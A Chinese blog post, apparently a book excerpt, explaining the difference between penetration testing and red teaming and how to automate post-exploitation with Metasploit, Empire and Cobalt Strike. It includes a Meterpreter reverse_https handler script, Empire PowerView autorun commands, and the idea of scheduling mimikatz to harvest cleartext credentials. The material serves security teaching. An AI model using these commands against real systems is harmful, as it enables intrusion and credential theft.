网络安全千万条,渗透测试第一条

说起网络安全,很多人对此并不敏感,在便利的互联网之下其实有很多看不见的危险。

比如澳大利亚某州3万雇员个人信息被泄露、委内瑞拉全国停电、俄罗斯20多家大型企业被未知者勒索、美国第七大银行数据库被入侵……

这些事件都发生在2019年,互联网背后的安全隐患比想象中还要严重,对企业来说,一旦遭遇安全问题可能就是灭顶之灾。

小到个人信息,大到国家国防,网络安全一直都是重要话题,对很多企业来说,通信网络和信息系统的安全运营是业务运营的基本保障,而渗透测试就是企业安全技术团队的核心。

异步君为大家介绍一下关于渗透测试的知识,了解一下各项安全措施是如何运作的。

01

渗透测试团队与红队

如何界定渗透测试与红队

渗透测试是对网络、应用程序和硬件等进行更严格和更有计划的测试。如果您还没有接触过渗透测试,建议您先阅读渗透测试执行标准—这是如何评估一项渗透测试的指南。

简而言之,您需要开展范围界定、信息搜集、漏洞分析、漏洞利用、漏洞后利用和报告等所有步骤。

在传统的网络测试中,我们通常会扫描漏洞,查找并攻击存在漏洞的系统或应用程序,可能会进行一些后期漏洞利用,查找域管理员并编写渗透测试报告。

即使在创建测试范围期间,渗透测试也非常明确,仅限于一周或两周的评估期,并且通常会向公司的内部安全团队公布。

公司仍然需要渗透测试人员作为其安全软件开发生命周期(S-SDLC)的一部分。如今,即使公司有漏洞管理流程、安全软件开发生命周期流程、渗透测试人员、应急响应团队/流程以及许多非常昂贵的安全工具,公司的网络仍然可能被攻陷。

我们在其他安全报告中看到,一些攻击行为可能会持续超过 6 个月才能被发现。还有一些报道指出,2017 年几乎有三分之一的公司遭到攻击。

公司应该想一想,如果这些“坏小子”针对自己采用完全相同的策略,能否发现它?需要多长时间才能发现?能否从攻击事件中恢复?能否准确找出攻击者对于公司资产做了什么?

这就是红队开始发挥作用的场景。红队的任务是模仿攻击者的战术、技术和工具(TTP)。目的是为公司提供真实的攻击场景,在应急响应计划中找到问题,了解员工的技能差距,并最终提高公司的安全防护能力。

两者另一个主要区别是如下所示的时间表。对于渗透测试,工作时间通常是一周,幸运的话,工作时间可能达到两周的时间。但是对于红队来说,任务通常持续 2 周~6 个月的时间。

公司管理者不要过于依赖审计指标。每个公司都有合理的规章制度,能够帮助公司流程更加成熟,但是这并不能使公司真正做到信息安全。作为红方团队,任务是测试整体安全流程是否有效。

希望您将自己看作红队并专注于以下几个方面。

● 安全漏洞而非 IT 漏洞。

● 模拟真实世界攻击行为。

● 始终以红队的姿态开展攻击。

02

自动化

随着基于启发式的终端安全防护机制越来越强大,攻击方式需要快速应变。我们通常可以编写恶意软件 规避杀毒软件的检测,即使通过了初次安全防护检测,但是一旦使用类似 mimikatz(在内存中)工具或者横向渗透到另一台主机,就会引发警报。为了解决这个问题,我总是告诉红队在首次尝试攻击时就被 发现。

在通常情况下,蓝队在发现我们的基本/默认样式(或稍微混淆)的恶意软件时,认为取得胜利, 但是首次尝试的真正目的是了解目标的环境。初始静荷自动运行多个侦察脚本,实现上述目的。我们来看一些快速自动运行的脚本,这些脚本可以帮助我们自动化一些攻击。

1、使用 RC 脚本自动化 Metasploit

使用 Metasploit,我们可以高效运行后渗透脚本,方法如下。

● 在 Metasploit 中,搜索所有后期渗透利用模块。

● msfconsole。

● show post。

从“post”结果中,选择要使用的所有模块,方便在 Meterpreter Shell 中自动执行。在这种情况下,添加特权迁移后渗透模块。

配置 Meterpreter Shell,在受感染主机的初始连接中,运行这个静荷,我们需要指定 AutoRunScript 参数。您可以根据需要,添加尽可能多的 AutoRunScript,实现转储有关系统/网络的信息、横向移动等功能。

下面创建处理程序和 AutoRunScript。

● 创建处理程序。

 
gedit handler.rc

● 配置处理程序,运行脚本。

 
use multi/handler set payload windows/meterpreter/reverse_https set LHOST 10.100.100.9 set LPORT 443 set AutoRunScript  post/windows/manage/priv_migrate set ExitOnSession false set EnableStageEncoding true exploit -j

● 运行处理程序。

 
msfconsole -r handler.rc

2、Empire 自动化

Empire 具有与 Metasploit 资源文件类似的功能,可以自动完成许多重复性任务。首先,我们需要创建一个文件(在示例中,创建一个名为/opt/empire_autoload.rc 的文件),然后在 Empire 实例中加载它。

● 在单独的终端窗口中,创建处理程序文件。

 
gedit /opt/empire_autoload.rc

● 添加您需要执行的后渗透模块。

 
usemodule situational_awareness/network/powerview/get_user execute back usermodule situational_awareness/network/powerview/get_computer execute back

● 在 Empire 中加载 autoload.rc 资源文件,如图所示。

 
agents autorun /opt/empire_autoload.rc powershell autorun show

正如您看到的,当代理回连时,它会自动运行 get_user 和 get_computer PowerShell 脚本。这些脚本的所有结果都存储在 agent.log 文件中。在这种情况下,我们的代理名称为 N6LM348G,因此,日志将存储在/opt/Empire/downloads/N6LM348G/agent.log 中。

4、Cobalt Strike 自动化

Cobalt Strike 功能强大的主要原因之一是 Aggressor Script。使用 Cobalt Strike 的 Aggressor Script,您不仅可以配置自动运行样式脚本,而且可以创建非常复杂的攻击。

例如,我经常碰到共享工作站的情况,比如实验室或会议室。我可能希望代理程序做的一件事是每隔半小时运行 mimikatz 获取明文凭证。使用 Aggressor Script,我们可以执行这些操作以及其他更多的操作。

5、自动化的未来

有一些很值得关注的项目正朝着自动化、智能化突破和 APT 攻击的方向发展。攻击的自动化将成为未来的突破,我们需要能够有这种能力从而测试/验证安全防护机制的效果,在自动化方面具有巨大潜力的两个工具是 Portia 和 Caldera。

-END-

发布了516 篇原创文章 · 获赞 292 · 访问量 88万+

猜你喜欢

转载自blog.csdn.net/epubit17/article/details/104388065